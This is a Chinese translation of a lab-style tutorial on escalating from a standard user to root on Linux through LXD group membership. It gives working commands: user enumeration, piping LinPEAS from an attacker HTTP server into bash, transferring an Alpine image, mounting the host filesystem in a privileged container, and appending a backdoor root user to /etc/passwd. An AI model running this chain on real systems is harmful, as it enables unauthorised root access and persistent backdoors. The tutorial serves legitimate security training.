Linux 提权-LXD 容器
本文通过 Google 翻译 LXD Container – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
0、前言
在这篇文章中,我们将回顾 Linux 目标上的 LXD 组权限,并了解该组的成员如何将权限从标准用户提升到 root。
首先,我们分别以手动和使用工具的方式枚举目标主机,以表明 LXD 已被初始化并且容器正在运行。接下来,我们将发现当前标准用户已分配 LXD 组权限。然后,我们将创建一个具有 root 权限的容器,并使其能够挂载到当前实际的文件系统。最后,我们将以 root 身份进入容器,然后从容器内部以 root 身份与实际文件系统进行交互!作为奖励,我们将在实际文件系统上编辑 passwd 文件,然后通过获取 root shell 完全脱离容器。
1、什么是 LXD 和 LXC ?
首先我们要明白 LXD 和 LXC 都是容器技术。因此,要了解 LXD/LXC,我们首先要了解什么是容器……
容器是一个隔离的地方,我们可以在这里运行小到一个应用程序,大到一个完整的操作系统,而不会影响实际系统的其他部分,实际系统也不会影响容器内运行的任何内容。
要了解 LXD 是什么以及它是如何工作的,我们必须先了解 LXC。
LXC(Linux Container):是一种在 Linux 内核中对操作系统级软件进行虚拟化的解决方案。LXC 是一种轻量级虚拟化技术(容器),它允许我们创建一个利用主机内核的 Linux 操作环境,这样就不需要第二个内核了(即 一颗大脑,多种人格)。
LXD(Linux Container Daemon) :是一种基于镜像的 "轻型管理程序",这意味着它是一种专为容器设计的管理程序。从本质上讲,LXD 是 LXC 的扩展,包含一个连接 libxlc(LXC 软件库)的 REST-API。
那么这对于 LXD 组成员的用户意味着什么呢?
最重要的一点是 LXD 是一个 root 进程,它允许任何对 LXD 套接字具有写访问权限的人(即 LXD 组中的用户)执行特权操作。例如作为 LXD 组成员的标准用户可以创建 root 级特权容器,因为 LXD 不会尝试匹配当前用户的权限。
既然我们已经对容器技术以及 LXD 和 LXC 有了一定程度的了解,下面我们就开始演示。
注:LXC 是 Linux 内核支持的一种容器技术,而 LXD 则是基于 LXC 技术制作的一个可以由普通用户操作的容器程序,其实就相当于我们广义上所了解的容器。
2、查找 LXD 组权限
假设我们能够通过 SSH 成功连接到目标主机,接下来我们将了解如何通过手动和使用 LinPEAS 工具的方式来寻找 LXD 组中的用户。
ssh [email protected]
2.1、手动搜索 LXD 组用户
我们要做的第一件事是收集目标计算机上存在的所有用户帐户的列表;然后我们可以从中找到与每个用户关联的所有组。
虽然,这听起来工作量很大!相反,让我们展示一些 Linux-fu 技能,并在一个命令中完成上述所有操作。我们将…
- 从 /etc/passwd 文件中获取有关系统上每个帐户的信息
- 使用 Linux-fu 过滤出 /etc/passwd 文件中的用户名
- 在输出的每一行用户名上,我们将使用 xargs 来执行 id 以为我们提供组信息
cat /etc/passwd | awk -F ':' '{print $1}' | xargs -L1 id
以上输出为我们提供了所有用户及其关联组身份的完整列表,但我们可以做得更好。为了获得更精细的结果,我们可以将 grep 添加到命令中,以仅筛选属于 LXD 组的用户。
cat /etc/passwd | awk -F ':' '{print $1}' | xargs -L1 id | grep -i "lx"
Perfect!从上面的输出中我们可以看到两个条目。
第一个条目告诉我们 devops 用户是 LXD 组的一部分。第二个条目是 LXD “用户”,它是一个用于初始化 LXD 服务的服务帐户(为容器设置 DNS/DHCP/interface 等内容)。
此时,我们应该考虑如何转向 secops 用户。不过,在此之前,让我们先来看看更多提示,它们将帮助我们找到 LXD 权限提升的蛛丝马迹。
2.2、LXD 权限提升的提示
可以通过检查一些事情来 Hint 我们当前 LXD 权限提升是否可行,让我们快速回顾一下它们。
首先,一旦我们立足于目标,就可以使用 id 命令来快速检查当前用户的权限。如果发现当前用户属于 lxd 组 ,那么就可以知道我们很快就会获胜。
接下来,我们可以检查系统上是否存在 lxd 帐户。如果存在,那么就知道该系统可以运行容器,并且这里可能有一个用户属于 lxd 组。
cat /etc/passwd | grep "lxd"
我们还可以检查是否有包含 "lxd"或 "lxc"的运行进程,这将暗示一个容器已经在运行。不过,这并不是利用组权限的必要条件。这主要是为了帮助我们在收集信息时了解系统内部发生了什么。
ps -ef | grep -i "lxd\|lxc"
在这里,我们看到了有关该系统上 LXD 服务的大量信息;其中最值得注意的是,我们看到有一个容器正在运行并监听于 10.6.81.1 上,但这也只是一个好的提示而已。而我们其实并不需要关心已经运行的容器,因为我们将为此漏洞制作自己的容器。
总的来说,我们能找到的最佳提示是 lxd 组中的用户,因为这是此攻击的唯一实际要求。
由于 devops 用户启用了 lxd 组权限,因此我们希望尝试转向该用户。但首先,让我们快速了解一下 LinPEAS 是如何找到上述所有枚举的。
2.3、工具枚举 LXD – LinPEAS
LinPEAS 是一款终极的后漏洞枚举工具,因为它提供了大量信息。在受害者上运行该工具后,我们将看到手动枚举发现的所有相同内容,甚至更多。然而,在使用工具之前展示手动步骤依旧非常重要,这样我们才能了解工具的输出以及要查找的内容。
如果您没有 LinPEAS 的副本,您可以在这里获取一份。
一般来说,当我们运行 LinPEAS 时,我们将不带参数执行它以运行“所有检查”,然后从上到下逐行梳理所有输出。
获取 LinPEAS 的副本后,我们通常会将副本传输给受害者。然而,在这个例子中,我们将它直接下载到内存中,并将输出重定向到一个文件以便于解析。
首先,我们需要在攻击者计算机上的 linpeas.sh 所在目录中设置一个 HTTP 服务器 。
python3 -m http.server 80
然后,回到受害者机器上,我们可以使用以下命令将 LinPEAS 下载并直接执行到内存中,并将输出重定向到文件:
curl 172.16.1.30/linpeas.sh | bash > peas.txt
通过将命令直接输入 bash,cURL 会将脚本输入 bash 并在内存中执行,而不会将其写入磁盘!但是,它会通过重定向将结果写入磁盘上的文件。
脚本运行完成后,我们可以使用以下命令过滤结果以仅查找“lxd”和“lxc”的实例:
cat ./peas.txt | grep -i 'lxd\|lxc'
我们可以看到,LinPEAS 找到了我们手动枚举的所有内容,甚至更多。LinPEAS 发现 lxc 二进制文件存在于系统中,它找到了当前正在运行的容器,devops 用户属于 lxd 组, 还有更多提示表明这是一条非常合理的特权提升途径。
再次强调,你不需要找到一个正在运行的容器或上述之中的任何提示以作为攻击的先决条件。只要你找到 lxd 组中的用户,你就有可能获得 root 权限,但前提是你能以该用户的身份获得 shell。我只是向你展示如何通过跟踪线索和收集证据来拼凑出一条可能的特权提升路径。
现在我们已经看到了枚举 LXD/LXC 时的一些技巧,下面假设我们已经获得了 devops 用户的密码,并可以利用该用户组的权限。
3、利用 LXD – Alpine 容器逃逸
为了滥用 LXD 组权限,我们需要首先在攻击者机器上构建 Alpine 镜像。
3.1、构建 Alpine 镜像
在攻击者机器上,我们可以运行以下命令来下载 Alpine 镜像,然后构建最新版本。
注:作者 GitHub 仓库有编译好的现成镜像文件,可以直接拿来使用。
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
全部完成后,我们将看到在当前目录中创建了一个 TAR 文件。这是我们需要发送给受害者的 Alpine 容器。
由于某种原因我创建了两个容器文件,如果您也遇到这种情况,请选择最新的日期
Alpine 容器准备就绪后,就可以将其发送给受害者了。
3.2、下载 Alpine 镜像
本次使用 FTP 将文件下载到受害者上,首先我们需要在攻击者计算机上设置 FTP 服务器。请在在创建 Alpine 镜像的目录中使用以下命令来完成:
python3 -m pyftpdlib -w -p 21
随着 FTP 服务器在攻击者计算机上运行,我们现在可以返回受害者,访问 FTP 服务器,并对 Alpine 镜像执行 get 操作。由于允许匿名登录,我们将使用 anonymous 登录,对于密码,我们只需按[Enter]键将其留空。
ftp 172.16.1.30
在 FTP 服务器内部,我们可以使用 ls -l 命令列出所有文件,然后我们可以使用 get 命令下载 Alpine 镜像。
在获取文件并退出 FTP 服务器后,我们可以看到图像已完整下载到受害者上。
Perfect! 现在 Alpine 镜像已位于受害者上,可以被用于利用 LXD 权限并获取 root shell 了。
3.3、导入 Alpine 镜像
我们可以使用以下 lxc 命令将 Alpine 镜像导入 LXD 容器:
lxc image import alpine-v3.16-x86_64-20221112_0508.tar.gz --alias alpine
之后,我们应该确认它已被导入。
lxc image list
成功导入 Alpine 镜像后,现在我们可以继续执行下一组命令,这组命令将执行以下操作:
- 初始化 Alpine 镜像
- 添加 security.privileged=true 标志,以便容器以 root 身份运行
- 将宿主机文件系统 / 目录挂载到到容器内操作系统的挂载点上
- 启动容器并确认已启动
lxc init alpine juggernaut -c security.privileged=true
lxc config device add juggernaut gimmeroot disk source=/ path=/mnt/root recursive=true
lxc start juggernaut
lxc list
现在我们设置了错误配置的容器,我们可以进入 root shell,然后突破并成为实际文件系统的 root!
lxc exec juggernaut sh
Amazing!我们进入了 root shell;然而,我们目前只是容器内的 root,这是通过使用 ls -l /home 命令确认的,因为并没有看到实际文件系统上存在的两个用户家目录:juggernaut 和 devops。
但是,我们确实将宿主机实际的文件系统挂载到了容器内的 /mnt/root。
3.4、突破容器
如果我们 cd 到容器内的 /mnt/root,我们将以 root 身份完全访问文件系统,因此从技术上讲,此时我们可以做任何事情。
上面的片段显示实际文件系统已挂载到容器内的 /mnt/root 目录;为了确认这一点,我们可以再次检查 /mnt/root/home 文件夹,但这一次我们将找到我们之前在枚举实际文件系统时看到的两个配置文件。
Incredible!这意味着我们能够以 root 身份与文件系统交互!为了确认这一点,我们可以枚举只有 root 可以访问的内容,例如 /root 目录或影子文件。
这很好,但在本例中,我们感兴趣的是真正的突破,我们可以通过多种方式实现,例如,获取root SSH 密钥、将 bash 复制到 /tmp 并赋予其 SUID 权限、在 /etc/passwd 文件中添 root 用户等。
对于此示例,我们将向 /etc/passwd 添加一个新的 root 用户。完成后,我们将退出容器并将用户切换到新的 root 用户。
为此,我们必须首先使用 openssl 创建一个哈希密码。为了简单起见,我们将密码设置为“ password ”。我们可以从攻击者机器内部执行此操作,因为我们只需要获取哈希值。
openssl passwd password
运行该命令后,我们将获得一个哈希值 ShuKpZV7v9akI ,请将此值放在手边,因为我们将在下一个命令中需要它。
要创建名为 r00t 的第二个 root 用户,我们可以将以下行添加到 passwd 文件中--r00t: ShuKpZV7v9akI:0:0:root:/root:/bin/bash
echo 'r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd
将新用户添加到 /etc/passwd 文件后,我们就可以退出容器,然后 su r00t,输入密码 "password" 后,我们就会进入受害者的正常 root shell。
就这样,我们创建了第二个 root 用户,并脱离了容器,获得了实际文件系统的 root 访问权限!